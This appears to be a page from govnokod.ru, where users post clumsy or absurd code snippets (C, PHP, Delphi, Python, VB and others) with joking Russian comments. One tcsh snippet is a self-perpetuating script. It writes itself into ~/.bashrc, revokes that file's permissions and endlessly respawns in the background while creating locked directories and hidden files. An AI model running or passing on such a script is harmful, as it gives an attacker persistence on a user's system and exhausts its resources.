- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+144
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
+154
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
shell script tcsh
+139.5
<?
// Загрузка всех функций из папки "sys/fnc"
$opdirbase=opendir(H.'sys/fnc');
while ($filebase=readdir($opdirbase))
if (eregi('\.php$',$filebase))
include_once(H.'sys/fnc/'.$filebase);
?>
Вот таким макаром в wap cms "DCMS" грузятся функции. Файл с этим содержанием вставляется на все страницы. Причём в папке sys/func 47 PHP файлов =)
+151
procedure Load_flashDEF_setings;
var
Reg: TRegistry;
RegKeyPath: string;
begin
Reg := TRegistry.Create;
try
with Reg do begin
RootKey := HKEY_CURRENT_USER;
RegKeyPath := 'Software\fuckinSoft';
OpenKey(RegKeyPath, True);
if ReadBool('Wipe_File')=false then begin Main.frmMain.CBx_wipe_file.Checked:=false;
end
else
if ReadBool('Wipe_File')=true then begin Main.frmMain.CBx_wipe_file.Checked:=true;
end
else
if ReadBool('Def_Module')=false then begin Main.frmMain.CBx_defence_module.Checked:=false;
end
else
if ReadBool('Def_Module')=true then begin Main.frmMain.CBx_defence_module.Checked:=true;
end
end
finally
Reg.CloseKey;
Reg.Free;
end;
end;
procedure Save_flashDEF_setings;
var
Reg: TRegistry;
RegKeyPath: string;
begin
Reg := TRegistry.Create;
try
with Reg do begin
RootKey := HKEY_CURRENT_USER;
RegKeyPath := 'Software\fuckinSoft';
OpenKey(RegKeyPath, True);
if Main.frmMain.CBx_wipe_file.Checked=true then begin WriteBool('Wipe_File', true);
end
else
if Main.frmMain.CBx_wipe_file.Checked=false then begin WriteBool('Wipe_File', false);
end
else
if Main.frmMain.CBx_defence_module.Checked=true then begin WriteBool('Def_Module', true);
end
else
if Main.frmMain.CBx_defence_module.Checked=false then begin WriteBool('Def_Module', false);
end
end
finally
Reg.CloseKey;
Reg.Free;
end;
end;
Ифы хороши в меру =\
+150
function ConditionsToNum(cn) {
switch (cn) {
case "По окладу": return (0);
case "Почасовая": return (1);
}
}
function NumToConditions(cn) {
switch (parseInt(cn)) {
case 0: return ("По окладу");
case 1: return ("Почасовая");
}
}
−102
class Node:
def __init__(self):
self.id = 0
self.d = None
self.left = None
self.right = None
def __del__(self):
del self
class Struct:
def __init__(self):
self.data = None
def add(self,data):
if self.data == None:
self.data = Node()
self.data.d = data
self.data.right = Struct()
else:
if self.data.d == data:
return 0
elif self.data.d != data:
return self.data.right.add(data)
def next(self):
if self.data != None:
print self.data.d
return self.data.right.next()
как правильно сделать чтобы при вызове next возвращалось значение не в print а в return и при рекурсия выполнялась
+144
switch($_POST['find'])
{
case 'a' :
echo '<p> Регулярный клиент.</p>';
break;
case 'b' :
echo '<p> Клиент, обратившийся после телефизионной рекламы.</p>';
break;
case 'c' :
echo '<p> Клиент, обратившийся в результате нахаождения информации в телефонном справочнике.</p>';
break;
case 'd' :
echo '<p> Клиент, обратившийся в результате чьей-то устной рекомендации.</p>';
break;
default :
echo '<p> Вы унылое говно</p>';
break;
}
+175.9
#define JUST_ANOTHER_MAGIC_NUMBER 4398476903476060
магия чисел
−130
i = 2
X = "blank"
index = ""
qty = "1"
For Each Z In sContents
If (Z.StartsWith("1") Or Z.StartsWith("2") Or Z.StartsWith("3") Or Z.StartsWith("4") Or Z.StartsWith("5") Or Z.StartsWith("6") Or Z.StartsWith("7") Or Z.StartsWith("8") Or Z.StartsWith("9")) Then
Line = Z.Split("|")
If Not Line(0).Contains(".") Then
index = Line(0)
qty = 1
End If
If Line(1).StartsWith("ID") Then
X = Line(3).Substring(15)
qty = Line(4)
Else
sheet.Cells(i, 1) = Line(2)
sheet.Cells(i, 2) = Line(3)
If Line(2) = X Then
sheet.Range("B" & i).Font.Bold = True
Else
If Line(0).StartsWith(index & ".") Then
sheet.Range("B" & i).IndentLevel() = 1
End If
End If
If Not Line(0).Contains(".") Then
sheet.Range("B" & i).Font.Bold = True
End If
If Line(5) = "N/A" Then
sheet.Cells(i, 3) = 0
Else
sheet.Cells(i, 3) = Line(5)
End If
sheet.Range("C" & i).NumberFormat = "[$$-2409]#,##0.00"
sheet.Cells(i, 4) = Line(7)
If qty > 1 Then
sheet.Cells(i, 5) = Line(4) * qty
Else
sheet.Cells(i, 5) = Line(4)
End If
sheet.Cells(i, 6) = "=E" & i & "*C" & i
sheet.Range("F" & i).NumberFormat = "[$$-2409]#,##0.00"
sheet.Range("D" & i, "E" & i).HorizontalAlignment = Excel.Constants.xlCenter
sheet.Range("A" & i, "F" & i).Font.Size = 10
sheet.Range("A" & i, "F" & i).Borders.LineStyle = Excel.Constants.xlSolid
i = i + 1
End If
End If
Next Z
чем не говнокод?
работает, хуле :)
+151
<?php
class A {
function __get($prop) {
var_dump($prop);
$this->$prop = '123';
return null;
}
}
$a = new A;
$prop = '01.01.01';
$a->$prop;
var_dump($a);